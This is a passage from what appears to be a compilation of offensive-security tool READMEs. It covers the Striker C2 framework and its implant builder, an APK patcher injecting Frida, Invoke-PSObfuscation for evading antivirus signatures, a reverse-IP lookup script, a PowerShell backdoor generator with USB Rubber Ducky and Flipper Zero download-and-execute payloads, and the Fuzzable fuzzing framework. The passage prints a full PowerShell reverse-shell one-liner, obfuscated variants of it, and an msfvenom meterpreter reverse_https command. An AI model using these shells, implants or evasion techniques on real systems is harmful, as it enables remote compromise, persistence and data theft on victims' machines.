• Supports multiple operators.
• Most features exposed through the REST API, making it easy to automate things.
• Uses web sockets for faster comms.

C) User Interface

• Smooth and reactive UI thanks to Svelte and SocketIO.
• Easy to configure as it compiles into static HTML, JavaScript, and CSS files, which can be hosted with even the most basic web server you can find.
• Teamchat feature to communicate with other operators over text.

Installing Striker

Clone the repo;

$ git clone https://github.com/4g3nt47/Striker.git
$ cd Striker

The codebase is divided into 4 independent sections;

1. The C2 Server / Backend

This handles all server-side logic for both operators and agents. It is a NodeJS application made with;

• express - For the REST API.
• socket.io - For Web Socket communtication.
• mongoose - For connecting to MongoDB.
• multer - For handling file uploads.
• bcrypt - For hashing user passwords.

The source code is in the backend/ directory. To setup the server;

1. Setup a MongoDB database;

Striker uses MongoDB as backend database to store all important data. You can install this locally on your machine using this guide for debian-based distros, or create a free one with MongoDB Atlas (A database-as-a-service platform).

2. Move into the source directory;

$ cd backend

3. Install dependencies;

$ npm install

4. Create a directory for static files;

$ mkdir static

You can use this folder to host static files on the server. This should also be where your UPLOAD_LOCATION is set to in the .env file (more on this later), but this is not necessary. Files in this directory will be publicly accessible under the path /static/.

5. Create a .env file;

NOTE: Values between < and > are placeholders. Replace them with appropriate values (including the <>). For fields that require random strings, you can generate them easily using;

$ head -c 100 /dev/urandom | sha256sum

DB_URL=<your MongoDB connection URL>
HOST=<host to listen on (default: 127.0.0.1)>
PORT=<port to listen on (default: 3000)>
SECRET=<random string to use for signing session cookies and encrypting session data>
ORIGIN_URL=<full URL of the server you will be hosting the frontend at. Used to setup CORS>
REGISTRATION_KEY=<random string to use for authentication during signup>
MAX_UPLOAD_SIZE=<max file upload size, in bytes>
UPLOAD_LOCATION=<directory to store uploaded files to (default: static)>
SSL_KEY=<your SSL key file (optional)>
SSL_CERT=<your SSL cert file (optional)>

Note that SSL_KEY and SSL_CERT are optional. If any is not defined, a plain HTTP server will be created. This helps avoid needless overhead when running the server behind an SSL-enabled reverse proxy on the same host.

6. Start the server;

$ node index.js
[12:45:30 PM]  Connecting to backend database...
[12:45:31 PM]  Starting HTTP server...
[12:45:31 PM]  Server started on port: 3000

2. The Frontend

This is the web UI used by operators. It is a single page web application written in Svelte, and the source code is in the frontend/ directory.

To setup the frontend;

1. Move into the source directory;

$ cd frontend

2. Install dependencies;

$ npm install

3. Create a .env file with the variable VITE_STRIKER_API set to the full URL of the C2 server as configured above;

VITE_STRIKER_API=https://c2.striker.local

4. Build;

$ npm run build

The above will compile everything into a static web application in dist/ directory. You can move all the files inside into the web root of your web server, or even host it with a basic HTTP server like that of python;

$ cd dist
$ python3 -m http.server 8000

5. Signup;

• Open the site in a web browser. You should see a login page.
• Click on the Register button.
• Enter a username, password, and the registration key in use (see REGISTRATION_KEY in backend/.env)

This will create a standard user account. You will need an admin account to access some features. Your first admin account must be created manually, afterwards you can upgrade and downgrade other accounts in the Users tab of the web UI.

To create your first admin account;

• Connect to the MongoDB database used by the backend.
• Update the users collection and set the admin field of the target user to true;

There are different ways you can do this. If you have mongo available in you CLI, you can do it using;

$ mongo <your MongoDB connection URL>
> db.users.updateOne({username: "<your username>"}, {$set: {admin: true}})

You should get the following response if it works;

{ "acknowledged" : true, "matchedCount" : 1, "modifiedCount" : 1 }

You can now login :)

3. The C2 Redirector

A) Dumb Pipe Redirection

A dumb pipe redirector written for Striker is available at redirector/redirector.py. Obviously, this will only work for plain HTTP traffic, or for HTTPS when SSL verification is disabled (you can do this by enabling the INSECURE_SSL macro in the C agent).

The following example listens on port 443 on all interfaces and forward to c2.example.org on port 443;

$ cd redirector
$ ./redirector.py 0.0.0.0:443 c2.example.org:443
[*] Starting redirector on 0.0.0.0:443...
[+] Listening for connections...

B) Nginx Reverse Proxy as Redirector

1. Install Nginx;

$ sudo apt install nginx

2. Create a vhost config (e.g: /etc/nginx/sites-available/striker);

Placeholders;

• <domain-name> - This is your server's FQDN, and should match the one in you SSL cert.
• <ssl-cert> - The SSL cert file to use.
• <ssl-key> - The SSL key file to use.
• <c2-server> - The full URL of the C2 server to forward requests to.

WARNING: client_max_body_size should be as large as the size defined by MAX_UPLOAD_SIZE in your backend/.env file, or uploads for large files will fail.

server {
    listen 443 ssl;
    server_name             <domain-name>;
    ssl_certificate         <ssl-cert>;
    ssl_certificate_key     <ssl-key>;
    client_max_body_size    100M;
    access_log              /var/log/nginx/striker.log;

    location / {
      proxy_pass              <c2-server>;
      proxy_redirect          off;
      proxy_ssl_verify        off;
      proxy_read_timeout      90;
      proxy_http_version      1.0;
      proxy_set_header        Upgrade $http_upgrade;
      proxy_set_header        Connection "upgrade";
      proxy_set_header        Host $host;
      proxy_set_header        X-Real-IP $remote_addr;
      proxy_set_header        X-Forwarded-For $proxy_add_x_forwarded_for;
    }
}

3. Enable it;

$ sudo ln -s /etc/nginx/sites-available/striker /etc/nginx/sites-enabled/striker

4. Restart Nginx;

$ sudo service nginx restart

Your redirector should now be up and running on port 443, and can be tested using (assuming your FQDN is striker.local);

$ curl https://striker.local

If it works, you should get the 404 response used by the backend, like;

{"error":"Invalid route!"}

4. The Agents (Implants)

A) The C Agent

These are the implants used by Striker. The primary agent is written in C, and is located in agent/C/. It supports both linux and windows hosts. The linux agent depends externally on libcurl, which you will find installed in most systems.

The windows agent does not have an external dependency. It uses wininet for comms, which I believe is available on all windows hosts.

1. Building for linux

Assuming you're on a 64 bit host, the following will build for 64 host;

$ cd agent/C
$ mkdir bin
$ make

To build for 32 bit on 64;

$ sudo apt install gcc-multilib
$ make arch=32

The above compiles everything into the bin/ directory. You will need only two files to generate working implants;

• bin/stub - This is the agent stub that will be used as template to generate working implants.
• bin/builder - This is what you will use to patch the agent stub to generate working implants.

The builder accepts the following arguments;

$ ./bin/builder 
[-] Usage: ./bin/builder <url> <auth_key> <delay> <stub> <outfile>

Where;

• <url> - The server to report to. This should ideally be a redirector, but a direct URL to the server will also work.
• <auth_key> - The authentication key to use when connecting to the C2. You can create this in the auth keys tab of the web UI.
• <delay> - Delay between each callback, in seconds. This should be at least 2, depending on how noisy you want it to be.
• <stub> - The stub file to read, bin/stub in this case.
• <outfile> - The output filename of the new implant.

Example;

$ ./bin/builder https://localhost:3000 979a9d5ace15653f8ffa9704611612fc 5 bin/stub bin/striker
[*] Obfuscating strings...
[+] 69 strings obfuscated :)
[*] Finding offsets of our markers...
[+] Offsets:
            URL: 0x0000a2e0
       OBFS Key: 0x0000a280
       Auth Key: 0x0000a2a0
          Delay: 0x0000a260
[*] Patching...
[+] Operation completed!

2. Building for windows

You will need MinGW for this. The following will install the 32 and 64 bit dev windows environment;

$ sudo apt install mingw-w64

Build for 64 bit;

$ cd agent/C
$ mdkir bin
$ make target=win

To compile for 32 bit;

$ make target=win arch=32

This will compile everything into the bin/ directory, and you will have the builder and the stub as bin\stub.exe and bin\builder.exe, respectively.

B) The Python Agent

Striker also comes with a self-contained python agent (tested on python 2.7.16 and 3.7.3). This is located at agent/python/. Only the most basic features are implemented in this agent. Useful for hosts that can't run the C agent but have python installed.

There are 2 file in this directory;

• stub.py - This is the payload stub to pass to the builder.
• builder.py - This is what you'll be using to generate an implant.

Usage example:

$ ./builder.py
[-] Usage: builder.py <url> <auth_key> <delay> <stub> <outfile>
# The following will generate a working payload as `output.py`
$ ./builder.py http://localhost:3000 979a9d5ace15653f8ffa9704611612fc 2 stub.py output.py
[*] Loading agent stub...
[*] Writing configs...
[+] Agent built successfully: output.py
# Run it
$ python3 output.py

Getting Started

After following the above instructions, Striker should now be ready for use. Kindly go through the usage guide. Have fun, and happy hacking!

Support

If you like the project, consider helping me turn coffee into code!

Apk.Sh - Makes Reverse Engineering Android Apps Easier, Automating Some Repetitive Tasks Like Pulling, Decoding, Rebuilding And Patching An APK

apk.sh is a Bash script that makes reverse engineering Android apps easier, automating some repetitive tasks like pulling, decoding, rebuilding and patching an APK.

Features

apk.sh basically uses apktool to disassemble, decode and rebuild resources and some bash to automate the frida gadget injection process. It also supports app bundles/split APKs.

• 
  Patching APKs to load frida-gadget.so on start.
• 
  Support for app bundles/split APKs.
• 
  Disassembling resources to nearly original form with apktool.
• 
  Rebuilding decoded resources back to binary APK/JAR with apktool.
• ️
  Code signing the apk with apksigner.
• ️
  Multiple arch support (arm, arm64, x86, x86_64).
• 
  No rooted Android device needed.

Getting started

apk.sh pull

apk.sh pull pull an APK from a device. It supports app bundles/split APKs, which means that split APKs will be joined in a single APK (this is useful for patching). If the package is an app bundle/split APK, apk.sh will combine the APKs into a single APK, fixing all public resource identifiers.

apk.sh patch

apk.sh patch patch an APK to load frida-gadget.so on start.

frida-gadget.so is a Frida's shared library meant to be loaded by programs to be instrumented (when the Injected mode of operation isn’t suitable). By simply loading the library it will allow you to interact with it using existing Frida-based tools like frida-trace. It also supports a fully autonomous approach where it can run scripts off the filesystem without any outside communication.

Patching an APK is simple as running ./apk.sh patch <apk_name> --arch arm.

You can calso specify a Frida gadget configuration in a json ./apk.sh patch <apk_name> --arch arm --gadget-conf <config.json>



Frida's Gadget configurations

In the default interaction, Frida Gadget exposes a frida-server compatible interface, listening on localhost:27042 by default. In order to achieve early instrumentation Frida let Gadget’s constructor function block until you either attach() to the process, or call resume() after going through the usual spawn() -> attach() -> ...apply instrumentation... steps.

If you don’t want this blocking behavior and want to let the program boot right up, or you’d prefer it listening on a different interface or port, you can customize this through a json configuration file.

The default configuration is:

{
  "interaction": {
    "type": "listen",
    "address": "127.0.0.1",
    "port": 27042,
    "on_port_conflict": "fail",
    "on_load": "wait"
  }
}

You can pass the gadget configuration file to apk.sh with the --gadget-conf option.

Script interaction

A typically suggested configuration might be:

{
  "interaction": {
    "type": "script",
    "path": "/data/local/tmp/script.js",
    "on_change":"reload"
  }
}

script.js could be something like:

var android_log_write = new NativeFunction(
    Module.getExportByName(null, '__android_log_write'),
    'int',
    ['int', 'pointer', 'pointer']
);

var tag = Memory.allocUtf8String("[frida-script][ax]");

var work = function() {
    setTimeout(function() {
        android_log_write(3, tag, Memory.allocUtf8String("ping @ " + Date.now()));
        work();
    }, 1000);
}

work();

android_log_write(3, tag, Memory.allocUtf8String(">--(O.o)-<"));

adb push script.js /data/local/tmp

./apk.sh patch <apk_name> --arch arm --gadget-conf <config.json>

adb install file.gadget.apk

Note

Add the following code to print to logcat the console.log output of any script from the frida codeshare when using the Script interaction type.

// print to logcat the console.log output
// see: https://github.com/frida/frida/issues/382
var android_log_write = new NativeFunction(
    Module.getExportByName(null, '__android_log_write'),
    'int',
    ['int', 'pointer', 'pointer']
);
var tag = Memory.allocUtf8String("[frida-script][ax]");
console.log = function(str) {
    android_log_write(3, tag, Memory.allocUtf8String(str));
}

Requirements

• apktool
• apksigner
• unxz
• zipalign
• aapt
• adb

Usage

SYNOPSIS

apk.sh [SUBCOMMAND] [APK FILE|APK DIR|PKG NAME] [FLAGS]
apk.sh pull [PKG NAME] [FLAGS]
apk.sh decode [APK FILE] [FLAGS]
apk.sh build [APK DIR] [FLAGS]
apk.sh patch [APK FILE] [FLAGS]
apk.sh rename [APK FILE] [PKG NAME] [FLAGS]

SUBCOMMANDS

pull	Pull an apk from device/emulator.
decode	Decode an apk.
build	Re-build an apk.
patch	Patch an apk.
rename	Rename the apk package.

FLAGS

-a, --arch <arch> Specify the target architecture, mandatory when patching.

-g, --gadget-conf <json_file> Specify a frida-gadget configuration file, optional when patching.

-n, --net Add a permissive network security config when building, optional. It can be used with patch, pull and rename also.

-s, --safe Do not decode resources when decoding (i.e. apktool -r). Cannot be used when patching.

-d, --no-dis Do not disassemble dex, optional when decoding (i.e. apktool -s). Cannot be used when patching.



Links of Interest

https://frida.re/docs/gadget/

https://lief-project.github.io/doc/latest/tutorials/09_frida_lief.html

https://koz.io/using-frida-on-android-without-root/

https://github.com/sensepost/objection/

https://github.com/NickstaDB/patch-apk/

https://neo-geo2.gitbook.io/adventures-on-security/frida-scripting-guide/frida-scripting-guide

How to Build a Research Lab for Reverse Engineering — 4 Ways

Invoke-PSObfuscation - An In-Depth Approach To Obfuscating The Individual Components Of A PowerShell Payload Whether You'Re On Windows Or Kali Linux

Traditional obfuscation techniques tend to add layers to encapsulate standing code, such as base64 or compression. These payloads do continue to have a varied degree of success, but they have become trivial to extract the intended payload and some launchers get detected often, which essentially introduces chokepoints.

The approach this tool introduces is a methodology where you can target and obfuscate the individual components of a script with randomized variations while achieving the same intended logic, without encapsulating the entire payload within a single layer. Due to the complexity of the obfuscation logic, the resulting payloads will be very difficult to signature and will slip past heuristic engines that are not programmed to emulate the inherited logic.

While this script can obfuscate most payloads successfully on it's own, this project will also serve as a standing framework that I will to use to produce future functions that will utilize this framework to provide dedicated obfuscated payloads, such as one that only produces reverse shells.

I wrote a blog piece for Offensive Security as a precursor into the techniques this tool introduces. Before venturing further, consider giving it a read first: https://www.offensive-security.com/offsec/powershell-obfuscation/

Dedicated Payloads

As part of my on going work with PowerShell obfuscation, I am building out scripts that produce dedicated payloads that utilize this framework. These have helped to save me time and hope you find them useful as well. You can find them within their own folders at the root of this repository.

1. Get-ReverseShell
2. Get-DownloadCradle
3. Get-Shellcode

Components

Like many other programming languages, PowerShell can be broken down into many different components that make up the executable logic. This allows us to defeat signature-based detections with relative ease by changing how we represent individual components within a payload to a form an obscure or unintelligible derivative.

Keep in mind that targeting every component in complex payloads is very instrusive. This tool is built so that you can target the components you want to obfuscate in a controlled manner. I have found that a lot of signatures can be defeated simply by targeting cmdlets, variables and any comments. When using this against complex payloads, such as print nightmare, keep in mind that custom function parameters / variables will also be changed. Always be sure to properly test any resulting payloads and ensure you are aware of any modified named paramters.

Component types such as pipes and pipeline variables are introduced here to help make your payload more obscure and harder to decode.

Supported Types

• Aliases (iex)
• Cmdlets (New-Object)
• Comments (# and <# #>)
• Integers (4444)
• Methods ($client.GetStream())
• Namespace Classes (System.Net.Sockets.TCPClient)
• Pipes (|)
• Pipeline Variables ($_)
• Strings ("value" | 'value')
• Variables ($client)

Generators

Each component has its own dedicated generator that contains a list of possible static or dynamically generated values that are randomly selected during each execution. If there are multiple instances of a component, then it will iterative each of them individually with a generator. This adds a degree of randomness each time you run this tool against a given payload so each iteration will be different. The only exception to this is variable names.

If an algorithm related to a specific component starts to cause a payload to flag, the current design allows us to easily modify the logic for that generator without compromising the entire script.

$Picker = 1..6 | Get-Random
Switch ($Picker) {
    1 { $NewValue = 'Stay' }
    2 { $NewValue = 'Off' }
    3 { $NewValue = 'Ronins' }
    4 { $NewValue = 'Lawn' }
    5 { $NewValue = 'And' }
    6 { $NewValue = 'Rocks' }
}

Requirements

This framework and resulting payloads have been tested on the following operating system and PowerShell versions. The resulting reverse shells will not work on PowerShell v2.0

Usage Examples

CVE-2021-34527 (PrintNightmare)

┌──(tristram㉿kali)-[~]
└─$ pwsh
PowerShell 7.1.3
Copyright (c) Microsoft Corporation.

https://aka.ms/powershell
Type 'help' to get help.

PS /home/tristram> . ./Invoke-PSObfuscation.ps1
PS /home/tristram> Invoke-PSObfuscation -Path .\CVE-2021-34527.ps1 -Cmdlets -Comments -NamespaceClasses -Variables -OutFile o-printnightmare.ps1

     >> Layer 0 Obfuscation
     >> https://github.com/gh0x0st

[*] Obfuscating namespace classes
[*] Obfuscating cmdlets
[*] Obfuscating variables
[-] -DriverName is now -QhYm48JbCsqF
[-] -NewUser is now -ybrcKe
[-] -NewPassword is now -ZCA9QHerOCrEX84gMgNwnAth
[-] -DLL is now -dNr
[-] -ModuleName is now -jd
[-] -Module is now -tu3EI0q1XsGrniAUzx9WkV2o
[-] -Type is now -fjTOTLDCGufqEu
[-] -FullName is now -0vEKnCqm
[-] -EnumElements is now -B9aFqfvDbjtOXPxrR<   br/>[-] -Bitfield is now -bFUCG7LB9gq50p4e
[-] -StructFields is now -xKryDRQnLdjTC8
[-] -PackingSize is now -0CB3X
[-] -ExplicitLayout is now -YegeaeLpPnB
[*] Removing comments
[*] Writing payload to o-printnightmare.ps1
[*] Done

PS /home/tristram> 

PowerShell Reverse Shell

$client = New-Object System.Net.Sockets.TCPClient("127.0.0.1",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

┌──(tristram㉿kali)-[~]
└─$ pwsh 
PowerShell 7.1.3
Copyright (c) Microsoft Corporation.

https://aka.ms/powershell
Type 'help' to get help.

PS /home/tristram> . ./Invoke-PSObfuscation.ps1                                                                            
PS /home/tristram> Invoke-PSObfuscation -Path ./revshell.ps1 -Integers -Cmdlets -Strings -ShowChanges

     >> Layer 0 Obfuscation
     >> https://github.com/gh0x0st

[*] Obfuscating integers
    Generator 2 >> 4444 >> $(0-0+0+0-0-0+0+4444)
    Generator 1 >> 65535 >> $((65535))
[*] Obfuscating strings
    Generator 2 >> 127.0.0.1 >> $([char](16*49/16)+[char](109*50/109)+[char](0+55-0)+[char](20*46/20)+[char](0+48-0)+[char](0+46-0)+[char](0+48-0)+[char](0+46-0)+[char](51*49/51))
    Generator 2 >> PS  >> $([char](1   *80/1)+[char](86+83-86)+[char](0+32-0))
    Generator 1 >> >  >> ([string]::join('', ( (62,32) |%{ ( [char][int] $_)})) | % {$_})
[*] Obfuscating cmdlets
    Generator 2 >> New-Object >> & ([string]::join('', ( (78,101,119,45,79,98,106,101,99,116) |%{ ( [char][int] $_)})) | % {$_})
    Generator 2 >> New-Object >> & ([string]::join('', ( (78,101,119,45,79,98,106,101,99,116) |%{ ( [char][int] $_)})) | % {$_})
    Generator 1 >> Out-String >> & (("Tpltq1LeZGDhcO4MunzVC5NIP-vfWow6RxXSkbjYAU0aJm3KEgH2sFQr7i8dy9B")[13,16,3,25,35,3,55,57,17,49] -join '')
[*] Writing payload to /home/tristram/obfuscated.ps1
[*] Done

Obfuscated PowerShell Reverse Shell

Meterpreter PowerShell Shellcode

┌──(tristram㉿kali)-[~]
└─$ pwsh 
PowerShell 7.1.3
Copyright (c) Microsoft Corporation.

https://aka.ms/powershell
Type 'help' to get help.

PS /home/kali> msfvenom -p windows/meterpreter/reverse_https LHOST=127.0.0.1 LPORT=443 EXITFUNC=thread -f ps1 -o meterpreter.ps1
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 686 bytes
Final size of ps1 file: 3385 bytes
Saved as: meterpreter.ps1
PS /home/kali> . ./Invoke-PSObfuscation.ps1                                                                                        
PS /home/kali> Invoke-PSObfuscation -Path ./meterpreter.ps1 -Integers -Variables -OutFile o-meterpreter.ps1                     

     >> Layer 0 Obfuscation
        >> https://github.com/gh0x0st

[*] Obfuscating integers
[*] Obfuscating variables
[*] Writing payload to o-meterpreter.ps1
[*] Done

Comment-Based Help

<#
    .SYNOPSIS
        Transforms PowerShell scripts into something obscure, unclear, or unintelligible.

    .DESCRIPTION
        Where most obfuscation tools tend to add layers to encapsulate standing code, such as base64 or compression, 
        they tend to leave the intended payload intact, which essentially introduces chokepoints. Invoke-PSObfuscation 
        focuses on replacing the existing components of your code, or layer 0, with alternative values. 

    .PARAMETER Path
        A user provided PowerShell payload via a flat file.

    .PARAMETER All
        The all switch is used to engage every supported component to obfuscate a given payload. This action is very intrusive
        and could result in your payload being broken. There should be no issues when using this with the vanilla reverse
        shell. However, it's recommended to target specific components with    more advanced payloads. Keep in mind that some of 
        the generators introduced in this script may even confuse your ISE so be sure to test properly.

    .PARAMETER Aliases
        The aliases switch is used to instruct the function to obfuscate aliases.

    .PARAMETER Cmdlets
        The cmdlets switch is used to instruct the function to obfuscate cmdlets.

    .PARAMETER Comments
        The comments switch is used to instruct the function to remove all comments.

    .PARAMETER Integers
        The integers switch is used to instruct the function to obfuscate integers.

    .PARAMETER Methods
        The methods switch is used to instruct the function to obfuscate method invocations.

    .PARAMETER NamespaceClasses
        The namespaceclasses switch is used to instruct the function to obfuscate namespace classes.

    .PARAMETER Pipes
        The pipes switch is used to in   struct the function to obfuscate pipes.

    .PARAMETER PipelineVariables
        The pipeline variables switch is used to instruct the function to obfuscate pipeline variables.

    .PARAMETER ShowChanges
        The ShowChanges switch is used to instruct the script to display the raw and obfuscated values on the screen.

    .PARAMETER Strings
        The strings switch is used to instruct the function to obfuscate prompt strings.

    .PARAMETER Variables
        The variables switch is used to instruct the function to obfuscate variables.

    .EXAMPLE
        PS C:\> Invoke-PSObfuscation -Path .\revshell.ps1 -All

    .EXAMPLE
        PS C:\> Invoke-PSObfuscation -Path .\CVE-2021-34527.ps1 -Cmdlets -Comments -NamespaceClasses -Variables -OutFile o-printernightmare.ps1

    .OUTPUTS
        System.String, System.String

    .NOTES
        Additional information abo   ut the function.
#>

Reverseip_Py - Domain Parser For IPAddress.com Reverse IP Lookup

Domain parser for IPAddress.com Reverse IP Lookup. Writen in Python 3.

What is Reverse IP?

Reverse IP refers to the process of looking up all the domain names that are hosted on a particular IP address. This can be useful for a variety of reasons, such as identifying all the websites that are hosted on a shared hosting server or finding out which websites are hosted on the same IP address as a particular website.

Requirements

• beautifulsoup4
• requests
• urllib3

Tested on Debian with Python 3.10.8

Install Requirements

pip3 install -r requirements.txt

How to Use

Help Menu

python3 reverseip.py -h
usage: reverseip.py [-h] [-t target.com]

options:
  -h, --help            show this help message and exit
  -t target.com, --target target.com
                        Target domain or IP

Reverse IP

python3 reverseip.py -t google.com

Disclaimer

Any actions and or activities related to the material contained within this tool is solely your responsibility.The misuse of the information in this tool can result in criminal charges brought against the persons in question.

Note: modifications, changes, or changes to this code can be accepted, however, every public release that uses this code must be approved by author of this tool (yuyudhn).

Powershell-Backdoor-Generator - Obfuscated Powershell Reverse Backdoor With Flipper Zero And USB Rubber Ducky Payloads

Reverse backdoor written in Powershell and obfuscated with Python. Allowing the backdoor to have a new signature after every run. Also can generate auto run scripts for Flipper Zero and USB Rubber Ducky.

usage: listen.py [-h] [--ip-address IP_ADDRESS] [--port PORT] [--random] [--out OUT] [--verbose] [--delay DELAY] [--flipper FLIPPER] [--ducky]
                 [--server-port SERVER_PORT] [--payload PAYLOAD] [--list--payloads] [-k KEYBOARD] [-L] [-H]

Powershell Backdoor Generator

options:
  -h, --help            show this help message and exit
  --ip-address IP_ADDRESS, -i IP_ADDRESS
                        IP Address to bind the backdoor too (default: 192.168.X.XX)
  --port PORT, -p PORT  Port for the backdoor to connect over (default: 4444)
  --random, -r          Randomizes the outputed backdoor's file name
  --out OUT, -o OUT     Specify the backdoor filename (relative file names)
  --verbose, -v         Show verbose output
  --delay DELAY         Delay in milliseconds before Flipper Zero/Ducky-Script payload execution (default:100)
  --flipper FLIPPER     Payload file for flipper zero (includes EOL convers   ion) (relative file name)
  --ducky               Creates an inject.bin for the http server
  --server-port SERVER_PORT
                        Port to run the HTTP server on (--server) (default: 8080)
  --payload PAYLOAD     USB Rubber Ducky/Flipper Zero backdoor payload to execute
  --list--payloads      List all available payloads
  -k KEYBOARD, --keyboard KEYBOARD
                        Keyboard layout for Bad Usb/Flipper Zero (default: us)
  -A, --actually-listen
                        Just listen for any backdoor connections
  -H, --listen-and-host
                        Just listen for any backdoor connections and host the backdoor directory

Features

• Hak5 Rubber Ducky payload
• Flipper Zero payload
• Download Files from remote system
• Fetch target computers public IP address
• List local users
• Find Intresting Files
• Get OS Information
• Get BIOS Information
• Get Anti-Virus Status
• Get Active TCP Clients
• Checks for common pentesting software installed

Standard backdoor

C:\Users\DrewQ\Desktop\powershell-backdoor-main> python .\listen.py --verbose
[*] Encoding backdoor script
[*] Saved backdoor backdoor.ps1 sha1:32b9ca5c3cd088323da7aed161a788709d171b71
[*] Starting Backdoor Listener 192.168.0.223:4444 use CTRL+BREAK to stop

A file in the current working directory will be created called backdoor.ps1

Bad USB/ USB Rubber Ducky attacks

When using any of these attacks you will be opening up a HTTP server hosting the backdoor. Once the backdoor is retrieved the HTTP server will be shutdown.

Payloads

• Execute -- Execute the backdoor
• BindAndExecute -- Place the backdoor in temp, bind the backdoor to startup and then execute it.

Flipper Zero Backdoor

C:\Users\DrewQ\Desktop\powershell-backdoor-main> python .\listen.py --flipper powershell_backdoor.txt --payload execute
[*] Started HTTP server hosting file: http://192.168.0.223:8989/backdoor.ps1
[*] Starting Backdoor Listener 192.168.0.223:4444 use CTRL+BREAK to stop

Place the text file you specified (e.g: powershell_backdoor.txt) into your flipper zero. When the payload is executed it will download and execute backdoor.ps1

Usb Rubber Ducky Backdoor

 C:\Users\DrewQ\Desktop\powershell-backdoor-main> python .\listen.py --ducky --payload BindAndExecute
[*] Started HTTP server hosting file: http://192.168.0.223:8989/backdoor.ps1
[*] Starting Backdoor Listener 192.168.0.223:4444 use CTRL+BREAK to stop

A file named inject.bin will be placed in your current working directory. Java is required for this feature. When the payload is executed it will download and execute backdoor.ps1

Backdoor Execution

Tested on Windows 11, Windows 10 and Kali Linux

powershell.exe -File backdoor.ps1 -ExecutionPolicy Unrestricted

┌──(drew㉿kali)-[/home/drew/Documents]
└─PS> ./backdoor.ps1

To Do

• Add Standard Backdoor
• Find Writeable Directories
• Get Windows Update Status

Output of 5 obfuscations/Runs

sha1:c7a5fa3e56640ce48dcc3e8d972e444d9cdd2306
sha1:b32dab7b26cdf6b9548baea6f3cfe5b8f326ceda
sha1:e49ab36a7ad6b9fc195b4130164a508432f347db
sha1:ba40fa061a93cf2ac5b6f2480f6aab4979bd211b
sha1:f2e43320403fb11573178915b7e1f258e7c1b3f0

Fuzzable - Framework For Automating Fuzzable Target Discovery With Static Analysis

Framework for Automating Fuzzable Target Discovery with Static Analysis.

Introduction

Vulnerability researchers conducting security assessments on software will often harness the capabilities of coverage-guided fuzzing through powerful tools like AFL++ and libFuzzer. This is important as it automates the bughunting process and reveals exploitable conditions in targets quickly. However, when encountering large and complex codebases or closed-source binaries, researchers have to painstakingly dedicate time to manually audit and reverse engineer them to identify functions where fuzzing-based exploration can be useful.

Fuzzable is a framework that integrates both with C/C++ source code and binaries to assist vulnerability researchers in identifying function targets that are viable for fuzzing. This is done by applying several static analysis-based heuristics to pinpoint risky behaviors in the software and the functions that executes them. Researchers can then utilize the framework to generate basic harness templates, which can then be used to hunt for vulnerabilities, or to be integrated as part of a continuous fuzzing pipeline, such as Google's oss-fuzz project.

In addition to running as a standalone tool, Fuzzable is also integrated as a plugin for the Binary Ninja disassembler, with support for other disassembly backends being developed.

Check out the original blog post detailing the tool here, which highlights the technical specifications of the static analysis heuristics and how this tool came about. This tool is also featured at Black Hat Arsenal USA 2022.

Features

• Supports analyzing binaries (with Angr and Binary Ninja) and source code artifacts (with tree-sitter).
• Run static analysis both as a standalone CLI tool or a Binary Ninja plugin.
• Harness generation to ramp up on creating fuzzing campaigns quickly.

Installation

Some binary targets may require some sanitizing (ie. signature matching, or identifying functions from inlining), and therefore fuzzable primarily uses Binary Ninja as a disassembly backend because of it's ability to effectively solve these problems. Therefore, it can be utilized both as a standalone tool and plugin.

Since Binary Ninja isn't accessible to all and there may be a demand to utilize for security assessments and potentially scaling up in the cloud, an angr fallback backend is also supported. I anticipate to incorporate other disassemblers down the road as well (priority: Ghidra).

Command Line (Standalone)

If you have Binary Ninja Commercial, be sure to install the API for standalone headless usage:

$ python3 /Applications/Binary\ Ninja.app/Contents/Resources/scripts/install_api.py

Install with pip:

$ pip install fuzzable

Manual/Development Build

We use poetry for dependency management and building. To do a manual build, clone the repository with the third-party modules:

$ git clone --recursive https://github.com/ex0dus-0x/fuzzable

To install manually:

$ cd fuzzable/

# without poetry
$ pip install .

# with poetry
$ poetry install

# with poetry for a development virtualenv
$ poetry shell

You can now analyze binaries and/or source code with the tool!

# analyzing a single shared object library binary
$ fuzzable analyze examples/binaries/libbasic.so

# analyzing a single C source file
$ fuzzable analyze examples/source/libbasic.c

# analyzing a workspace with multiple C/C++ files and headers
$ fuzzable analyze examples/source/source_bundle/

Binary Ninja Plugin

fuzzable can be easily installed through the Binary Ninja plugin marketplace by going to Binary Ninja > Manage Plugins and searching for it. Here is an example of the fuzzable plugin running, accuracy identifying targets for fuzzing and further vulnerability assessment:

Usage

fuzzable comes with various options to help better tune your analysis. More will be supported in future plans and any feature requests made.

Static Analysis Heuristics

To determine fuzzability, fuzzable utilize several heuristics to determine which targets are the most viable to target for dynamic analysis. These heuristics are all weighted differently using the scikit-criteria library, which utilizes multi-criteria decision analysis to determine the best candidates. These metrics and are there weights can be seen here:

As mentioned, check out the technical blog post for a more in-depth look into why and how these metrics are utilized.

Many metrics were largely inspired by Vincenzo Iozzo's original work in 0-knowledge fuzzing.

Every targets you want to analyze is diverse, and fuzzable will not be able to account for every edge case behavior in the program target. Thus, it may be important during analysis to tune these weights appropriately to see if different results make more sense for your use case. To tune these weights in the CLI, simply specify the --score-weights argument:

$ fuzzable analyze <TARGET> --score-weights=0.2,0.2,0.2,0.2,0.2

Analysis Filtering

By default, fuzzable will filter out function targets based on the following criteria:

• Top-level entry calls - functions that aren't called by any other calls in the target. These are ideal entry points that have potentially very high coverage.
• Static calls - (source only) functions that are static and aren't exposed through headers.
• Imports - (binary only) other library dependencies being used by the target's implementations.

To see calls that got filtered out by fuzzable, set the --list_ignored flag:

$ fuzzable analyze --list-ignored <TARGET>

In Binary Ninja, you can turn this setting in Settings > Fuzzable > List Ignored Calls.

In the case that fuzzable falsely filters out important calls that should be analyzed, it is recommended to use --include-* arguments to include them during the run:

# include ALL non top-level calls that were filtered out
$ fuzzable analyze --include-nontop <TARGET>

# include specific symbols that were filtered out
$ fuzzable analyze --include-sym <SYM> <TARGET>

